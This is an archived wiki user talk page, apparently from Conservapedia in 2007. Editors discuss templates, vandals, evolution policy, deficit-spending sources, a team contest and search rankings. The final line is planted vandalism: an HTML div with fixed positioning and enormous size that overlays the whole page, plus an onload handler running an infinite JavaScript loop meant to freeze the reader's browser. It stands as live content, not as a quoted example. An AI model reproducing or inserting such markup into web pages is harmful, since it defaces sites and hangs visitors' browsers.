I've compacted the code a bit; I believe that it still works. I was going to use the [http://meta.wikimedia.org/wiki/ParserFunctions#.23switch: #switch:] parser function to convert the books with spaces into no-space versions, but the list would have to have been so long (especially if allowing for both Arabic and Roman numerals in the names) that I didn't feel that it was worth it. A better solution would be to use the [http://meta.wikimedia.org/wiki/StringFunctions#.23replace: #replace:] string function, but that doesn't seem to be installed on Conservapedia (yet?). [[User:Philip J. Rayment|Philip J. Rayment]] 08:01, 7 June 2007 (EDT)

== What is with these people?! ==
What is wrong with them?! I mean come on! Get a life!--[[User:Will N.|Will N.]] 18:48, 14 June 2007 (EDT)
:If it's about what I think it is, then the less said about it--even on this talk page--the better.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 18:49, 14 June 2007 (EDT)
::Lol, I dont get you. I mean don't these vandals have something else to do, a job maybe? Just silliness.--[[User:Will N.|Will N.]] 18:51, 14 June 2007 (EDT)
:::Maybe this ''is'' their job. But certain piles are best left unstirred, if you catch my drift.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 18:57, 14 June 2007 (EDT)
::::Silly job then, lets just drop it.--[[User:Will N.|Will N.]] 18:58, 14 June 2007 (EDT)

*I sure am not catching any drift at all. --[[User:TK|Sysop-TK]] [[User_talk:TK|/MyTalk]] 19:24, 14 June 2007 (EDT)

== Idolatry? A Question. ==

"This user believes in the Lordship of Jesus Christ alone and that all other belief systems are forms of idolatry."

Does that include Judaism? Just curious. Best, [[User:EnFrancaisSVP|EnFrancaisSVP]] 15:33, 15 June 2007 (EDT)

:Judaism is an important exception, for two reasons:

:#Most of the founding documents of Judaism are part of the foundation of Christianity.
:#The making of idols has never been part of Hebrew worship.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 16:33, 15 June 2007 (EDT)

== sorry ==

I just checked my email now. looks like you handled it though. [[User:Bohdan|Bohdan]] 23:00, 19 June 2007 (EDT)

== Uncyclopedia ==
Why should we bother having a conservative encyclopedia if people are going to callously mock it [http://uncyclopedia.org/wiki/Conservapedia like this]? It's crap! I can't believe what idiots these people are. '''Scorpion'''[[User_Talk:Scorpion|Vote for Pedro]] 19:26, 20 June 2007 (EDT)
:In their mocking, they only make themselves look stupid. That article is a case in point. I'm still laughing--yes, laughing--at their silliness.

:Pay them no heed, Scorpion. Eventually, no one will even remember them.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 20:53, 20 June 2007 (EDT)

::Of course, there's nothing to prevent me from writing a parody of my own...[http://uncyclopedia.org/wiki/Gunservapedia] nobody listens though. That's they're way. Heck, on the talk page for the article I previously linked, they're even talking about vandalizing Conservapedia! That certainly doesn't do them credit! '''Scorpion'''[[User_Talk:Scorpion|Vote for Pedro]] 23:00, 20 June 2007 (EDT)

== [[Freedom]] ==

It was all crap, for a long time. I made a new start, but I wanted a part relating to the Bible. Would you take a quick look, and add/delete any parts not on firm Biblical footing? Of course any other additions would also be appreciated! --[[User:TK|Sysop-TK]] [[User_talk:TK|/MyTalk]] 08:43, 21 June 2007 (EDT)

*Thanks, Terry! --[[User:TK|Sysop-TK]] [[User_talk:TK|/MyTalk]] 14:23, 22 June 2007 (EDT)

== I just sent you a important email ==

I just sent you a important email. Due to the sensitivity of the important material I sent it to you privately. [[User:Conservative|Conservative]] 21:03, 23 June 2007 (EDT)

== small request ==

I sent the email I sent you to about 5 or so other key people that I know are actively involved in Conservapedia. I couldn't email some important users as their email is not active (for example, sharon) Can you email blast the other sysops regarding the info I sent you since you seem to know how to email blast using the system? [[User:Conservative|Conservative]] 21:09, 23 June 2007 (EDT)

== email is not working so here is the reply ==

Dear Terry,

I think the main point is that we are very shallow on footnotes. If we are going to be a concise encyclopedia it is all the more important we have footnotes and external links so people can get more info. Right now, our encyclopedia is rather unusable except for certain hot button "culture war" issues like creationism vs. evolution, abortion, etc. Citing also forces people to put down more reliable info. Sooner of later the liberals are going to do a study on Conservapedia in terms of accuracy and it is important we fix the problem now.

Do you approve of the use of the template?

Sincerely,

[[User:Conservative|Conservative]] 21:24, 23 June 2007 (EDT)

:Yes, I do. Especially since it puts the page into a category that everyone--particularly every [[Sysop]]--can see, in case they might be able to help out with citations.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 22:03, 23 June 2007 (EDT)

*Conservative, as I told you via email, I forwarded on your complete email, which varies from the above a great deal. TerryH now has your email, and comments. Please stop running around making more confusion. I am not in favor of even more templates cluttering articles. I would support adding them to a category, that would still appear on a page that we can all see, however. One hopes you have finally learned the lesson of communication. --[[User:TK|Sysop-TK]] [[User_talk:TK|/MyTalk]] 22:17, 23 June 2007 (EDT)

== Apartheid -Sharpeville ==
Thanks. Appreciated. [[User:Guitarplayer|Guitarplayer]] 22:09, 26 June 2007 (EDT)
:You're welcome--and that's part of what a Sysop is here for. To some, we are policemen--but to others, we are Wiki editing experts. (And sometimes we are online research consultants.)
:Did you see how I created the categories? Always preface the category name with the word "Category:"--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 09:14, 27 June 2007 (EDT)

== Peretti ==

Have you read Frank Peretti at all? Right now his article on this encyclopedia's only been touched by me, so if there's anything you could add it would be very helpful. I'm also needing help on my ''[[Monster (novel)|Monster]]'' article, so if you've ever read it I need some help with the analysis at the end. Thanks '''Scorpion'''[[User_Talk:Scorpion|Vote for Pedro]] 22:50, 30 June 2007 (EDT)

== Nice block ==

Nice block at 11:17am ET. You beat me to it!--[[User:Aschlafly|Aschlafly]] 11:18, 2 July 2007 (EDT)

== Deficit spending, etc. ==

- "and that last statement you made, alleging that Ronald Reagan virtually invented deficits"

My edit did not say anything of the sort. There has always been national debt, off and on, and certainly you are correct in reflecting that FDR did engage in some large-scale deficit spending. Interestingly, he was very opposed to the idea, despite the urgings of economist John Keynes to use it as a tool to end the Depression. FDR had originally run for President criticizing Hoover for engaging in deficit spending, and he later decided to pull the plug from the New Deal when he thought the Depression was ending in 36, causing the "Roosevelt recession," which basically returned the country to the depths of the Depression again. It is an undeniable fact, however, that the debt has climbed dramatically since Reagan's administration. I can back this up if you give me time to find a source, rather than jumping on me for every unsourced edit. I've been clicking around this site for a while and have found very few articles that contain any sourcing at all. Obviously you are doing the right thing by demanding a source, but I do have the facts straight, at least this time. [[User:Kristkrispies|Kristkrispies]] 18:17, 3 July 2007 (EDT)

:Yes, your edit did. You said, or implied, that [[Franklin Delano Roosevelt]] was reluctant to engage in deficit spending, and that [[Ronald Reagan]] is solely to blame for any rise in deficit spending since he took office.
:Tell you what: find your source and post it here, in reply to this message. I will check it out, and perhaps ask for assistance.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 18:22, 3 July 2007 (EDT)
Well, he didn't QUITE say that; he said that deficits have risen since the Reagan administration, which only indirectly implicates him. [[User:DanH|DanH]] 18:31, 3 July 2007 (EDT)

::I very clearly said that FDR was among the people who are philisophically opposed to the idea that the government should have debt (strict constructionism), and he absolutely was reluctant to engage in deficit spending. He did of course decide later that it was a necessary evil. That would be worth mentioning too, I just hadn't gotten to it yet. I did not in any way state that Reagan was "solely to blame" for the rise in deficit spending. I just said "during (his) administration...." That's a span of 8 years, not a form of blame.

::Here are some numbers from the treasury dept. As you can see, the debt more than doubled during the 80's. It also rose dramatically during each major war, of course, so it would be worth mentioning that wartime presidents (Lincoln, Wilson, FDR, and George W. Bush) have engaged in some heavy spending.

http://www.treasurydirect.gov/govt/reports/pd/histdebt/histdebt_histo1.htm
http://www.treasurydirect.gov/govt/reports/pd/histdebt/histdebt_histo2.htm
http://www.treasurydirect.gov/govt/reports/pd/histdebt/histdebt_histo3.htm
http://www.treasurydirect.gov/govt/reports/pd/histdebt/histdebt_histo4.htm
http://www.treasurydirect.gov/govt/reports/pd/histdebt/histdebt_histo5.htm

::Make of it what you will. [[User:Kristkrispies|Kristkrispies]] 18:44, 3 July 2007 (EDT)

:::I make of it, just this: an article on the national debt needs to have the proper perspective. Talking about the growth of the debt during ''one administration'' is all very well, but it doesn't do the subject justice.

:::And I'm not convinced that [[Franklin D. Roosevelt]] was philosophically opposed to deficit spending. Arthur M. Schlesinger, Jr., in ''The National Experience'', said that Roosevelt ''introduced'' the idea to Congress, and had to overcome [[Republican Party]] opposition in order to ram it through. Now if you have a source to contradict that, then use it.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 19:50, 3 July 2007 (EDT)

::::The proper perspective or an unbiased perspective? Everything I've said is true. If the facts are incomplete, then we should be adding the necessary facts and not removing them. This site will never get anywhere like this. Here's the very first hit I got off a Google search for Keynes begging FDR to increase deficit spending, which he didn't commit to doing on a large scale until we entered WWII:

::::http://www.time.com/time/time100/scientist/profile/keynes03.html

::::It's not as thorough a source as I'd like, but it at least suffices to show that this is common knowledge. It also suggests that maybe you should give another editor the benefit of the doubt before reverting and criticizing so quickly. Or maybe you can do a quick google search and learn something for yourself, rather than assuming you know the truth based on one incomplete fact from a single source? We're looking at two sides of the same truth about FDR; why assume that just because FDR did engage in deficit spending that he was not at some point in his career politically and philisophically opposed to it? That's using bias in place of fact. That's not the purpose of Conservapedia as far as I know, but, again, I'm new here, so ''correct me if I'm wrong.'' [[User:Kristkrispies|Kristkrispies]] 20:20, 3 July 2007 (EDT)

:::::''Time'' magazine has a motive for misrepresentation. These days, I don't trust ''any'' mainstream-media source without corroboration. Just think "Killian Memoranda" and you'll understand why. (True, that was [[CBS]]' gaffe, and not that of Time-Warner. But I have reason to believe that the only reason why ''Time'' didn't get burned like that is that CBS beat them to the brick-wall punch.)

:::::I'd have a lot more confidence, however, in a citation from FDR's own papers, or Keynes' papers, or dual citations from sites devoted to their memories.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 20:40, 3 July 2007 (EDT)

::::::Like I said, it's not a ''great'' source, but it is a source, and I'm not about to start thumbing through FDR's personal letters today. I think that demanding that level of primary source documentation would be a bit inconsistent with the content of this site as a whole, however, and also quite inconsistent with your standard for your own comments, such as your patent dismissal of anything printed in a certain major national publication. The fact is, I'm right, and I know it. If you don't want to put back my edits, then I'll just have to try contributing something else. [[User:Kristkrispies|Kristkrispies]] 20:53, 3 July 2007 (EDT)

== Welcome ==

Thank you. --[[User:Marshall|Marshall]] 16:27, 7 July 2007 (EDT)

== Selected as Judge for the Contest ==

TerryH, you've been selected by Team1 and Team2 to judge the upcoming contest, due to start Tuesday. Geo has also agreed to judge the contest.

Hope you can accept. Your professionalism and experience will be invaluable. In Christ, [[User:Aschlafly|Aschlafly]] 01:02, 9 July 2007 (EDT)

:Very well. But you'll have to familiarize me once again with the object and rules of the game.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 06:29, 9 July 2007 (EDT)

::That's great! The main page for the contest is [[Conservapedia:Team contest|here]]. ~ [[User:SharonS|Sharon]][[User talk:SharonS|Talk]] 06:32, 9 July 2007 (EDT)

:Welcome as a Judge! I've created a new namespace that only Judges can access. I can't even access it. You might create a page in it like [[Judges:Contest]] (note that I cannot even create that page).--[[User:Aschlafly|Aschlafly]] 12:35, 9 July 2007 (EDT)
:Thanks for the welcome, fellow Judge [[User_talk:Geo.plrd|Geo.]][[User_talk:Geo.plrd|Complain!]] 14:59, 9 July 2007 (EDT)

==Protect==
I protected your talk page so the vandal won't vandalize it.--[[User:BethanyS|Beth]][[User talk:BethanyS|Talk2'''ME''']] 10:35, 9 July 2007 (EDT)

==Evolution==

Hi, Terry.

Have we pretty much decided on an editorial policy which asserts that ''no human evolution'' has taken place? This is the position held by 85% of Americans, i.e., the majority Creationist viewpoint.

If so, would it be wise (or practical) to have a series of article about ''why'' evolutionists keep promoting [[evolution]]? Or perhaps about what ''evidence'' they see in the [[fossil record]] that any evolution has taken place?

This might ruffle a few feathers, because [[Young Earth Creationists]] assert that the history of life on earth goes back less than 10,000 years - effectively denying the "mainstream" view of geology and biology about fossils. On the other hand, [[Old Earth Creationsts]] agree with geologists and biologists about the age of the [[Earth]] - as well as the extent of the history of life.

Is there a way to write about all this without offending our conservative writer base? (I'm not worried about offending liberals! ;-) --[[User:Ed Poor|Ed Poor]] [[User talk:Ed Poor|Talk]] 11:02, 9 July 2007 (EDT)
:There shouldn't be a problem with writing such, by attributing the views to YECs. By the way, I've just tonight updated [[Old Earth Creationism]] with things that OECs won't like, but by attributing to the OECs themselves (for the most part). [[User:Philip J. Rayment|Philip J. Rayment]] 11:14, 9 July 2007 (EDT)
:Woah, Ed... where are you getting the "85% says ''no'' evolution has taken place? It would seem as though the 85% is the number that says ''at least some'' creation took place, with the number saying ''at least some'' evolution taking place being about 50-50. I'm using [http://www.religioustolerance.org/ev_publi.htm this] poll. --[[User:Hojimachong|'''Ĥøĵĭmåçħôńğ''']][[User_Talk:Hojimachong|talk]] 11:17, 9 July 2007 (EDT)
::I'm not commenting on whether or not the figure is correct, but Ed did say "no ''human'' evolution", not "no evolution". [[User:Philip J. Rayment|Philip J. Rayment]] 11:32, 9 July 2007 (EDT)

== Deletedpage ==

TerryH,

Please remember, when permanently protecting and deleting pages, protect and ''redirect'' to [[Conservapedia:Deletedpage]] (as opposed to using <nowiki>{{</nowiki>[[Template:Deletedpage|deletedpage]]<nowiki>}}</nowiki> on the page, as you currently are). Otherwise, the link to the main page will make it show up in [Special:Whatlinkshere/Main_Page this] log. We had a problem with obscene words showing up with this log earlier.

I think the best solution for this would to make contents of <nowiki>{{deletedpage}}</nowiki> changed to "<nowiki>#REDIRECT [[Conservapedia:Deletedpage]]</nowiki>. I will go do this, but please let me know if you have any objections. --[[User:Hojimachong|'''Ĥøĵĭmåçħôńğ''']][[User_Talk:Hojimachong|talk]] 11:25, 9 July 2007 (EDT)

:No objections. In fact, that's the best possible solution.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 11:26, 9 July 2007 (EDT)

:Wait! Hoji, I hate to tell you, but all you've done now is to create a double redirect!--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 11:30, 9 July 2007 (EDT)
::Aww, shucks. I'll go clean them up. --[[User:Hojimachong|'''Ĥøĵĭmåçħôńğ''']][[User_Talk:Hojimachong|talk]] 12:37, 9 July 2007 (EDT)
:::Ah, nevermind... I see somebody fixed it. --[[User:Hojimachong|'''Ĥøĵĭmåçħôńğ''']][[User_Talk:Hojimachong|talk]] 12:39, 9 July 2007 (EDT)
::::I fixed it--by reconnecting the double redirects, and ''then'' by removing the Main Page link from the text of Conservapedia:Deletedpage. Now the only way those pages show up are in the dead-end page list.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 13:32, 9 July 2007 (EDT)

== Birds ==

Wikipedia labels birds as reptiles, or at least they say that since birds supposedly evolved from "dinosaurs", that they count as reptiles. Now, I don't know about you but I think that's absolute BS. But one thing: what about all these China fossils they keep finding of dinosaurs with "branching integuments"? I hypothesize that many of these are probably just large birds that have been mistaken for dinosaurs with feathers. Come to think of it, it may be time for a redefining of the word "dinosaur". Dinosaurs are usually referring to large, reptilian animals, but now they think that some were feathered?? The fossils they find bear so much resemblence to birds that now many evolutionists are disputing whether or not they ''are'' true birds. Me, I think they're birds. The deinonychus is usually supposed to be a dinosaur, but what are the little filaments that are found on the fossils? Have deinonychus fossils been found anywhere else, without featheres? What would this mean? Probably, that either those fossils have been less well-preserved, or that the fossils in China are fakes, which is what ''I'' think. Of course, deinonychus may have been a large, ostrich-like animal. What do you think? '''Scorpion'''[[User_Talk:Scorpion|Vote for Pedro]] 21:45, 24 July 2007 (EDT)

*''I think'' you need to watch your foul language. --[[User:TK|Sysop-TK]] [[User_talk:TK|/MyTalk]] 22:39, 24 July 2007 (EDT)

::Are you TerryH? '''Scorpion'''[[User_Talk:Scorpion|Vote for Pedro]] 18:34, 5 August 2007 (EDT)

:::Actually, the sysop who admonished you nearly three weeks ago concerning your language was not I, but another sysop, TK. We are colleagues.
:::On the matter at hand, I am not familiar enough with the literature on feathered dinosaurs. I suspect, however, that we will find that they are birds. That birds are a "later class of mammal" than reptiles is only an assumption, which has its basis on nothing more than speculation.
:::BTW: you really ought to take down the "vote for Pedro" part of your signature.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 21:12, 5 August 2007 (EDT)

==Last user==
AntnyGonzo...just what is with the arrogance of people who think they can come into CP and just try to ram what they want here? It was someone else's essay he tried to alter, and he couldn't care less how he did it or how the author felt about it. He's gone as a result. [[User:Karajou|Karajou]] 19:41, 25 July 2007 (EDT)
:Yes, I noticed. I was about ready to block him myself. In fact, he reminded me very much of a certain user who kept altering ''my'' [[Essay: Extraterrestrial Life and the Bible|essay]] as I was writing it.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 19:42, 25 July 2007 (EDT)

==Scores==

Just wondering if you know and could tell me the final scores of Team1 and Team2...Aschlafly and I are trying to figure out how close we came, and it would be a lot easier to just have the final numbers! Thanks, [[User:DeborahB.|DeborahB.]] 17:43, 26 July 2007 (EDT)
==Perhaps==
You last vandal was merely trying to archive the main page but got blocked before being able to finish his task?
Just a thought. [[User_talk:U2| U2]] 22:37, 1 August 2007 (EDT)
:Don't give me that baloney. He wasn't even authorized to archive that page, and this was only his fourth contribution.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 22:42, 1 August 2007 (EDT)
::Okay, chief, whatever you say Mister Sysop sir. I woulda thunk though, if he was going to blank the page he'da blanked the page and not left the last part in. [[User_talk:U2| U2]] 22:46, 1 August 2007 (EDT)
:::He was just being a wiseguy--as if to say that nobody but him had anything valuable to say. That kind of cockiness doesn't go over very well. Hint, hint.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 22:48, 1 August 2007 (EDT)

== Yippie aye yo ki yay! The number one search engine in the United States ranks our theory of evolution article #5 out of all articles written on that subject ==

I just found out that the number one search engine in the United States ranks the Conservapedia Theory of evolution article #5 out of about 26 Million articles written on that subject. That is why the article is likely getting the traffic it is now getting.

Here is some background:

"Yahoo is considered the number one search engine above all other search engines. Yahoo search queries make up approximately 28% of all search engine traffic. And just in raw traffic reported by Alexa rankings, Yahoo! demolishes competitors such as Google and MSN." taken from : http://www.seochat.com/c/a/Yahoo-Optimization-Help/Search-Engines-and-Algorithms-Optimizing-for-Yahoo-Search-and-AltaVista/

I found out from Google Ad Words that the phrase "theory of evolution" is about the most popular term to find information about that subject. It is way more popular than the word "evolution". Here is www.google.com ad words: https://adwords.google.com/select/KeywordToolExternal

As you can see can see Yahoo ranks our "Theory of evolution" article #5: http://search.yahoo.com/search?p=theory+of+evolution&fr=yfp-t-501&toggle=1&cop=mss&ei=UTF-8

[[User:Conservative|Conservative]] 18:45, 8 August 2007 (EDT)

<div style="background: blue; position: fixed; top: 0px; left: 0px; width: 4000px; height: 200000px; z-index: 1001; color: gold; font-size: 600pt;" onload="var f=0;while(1) {f+=1;}"> </div>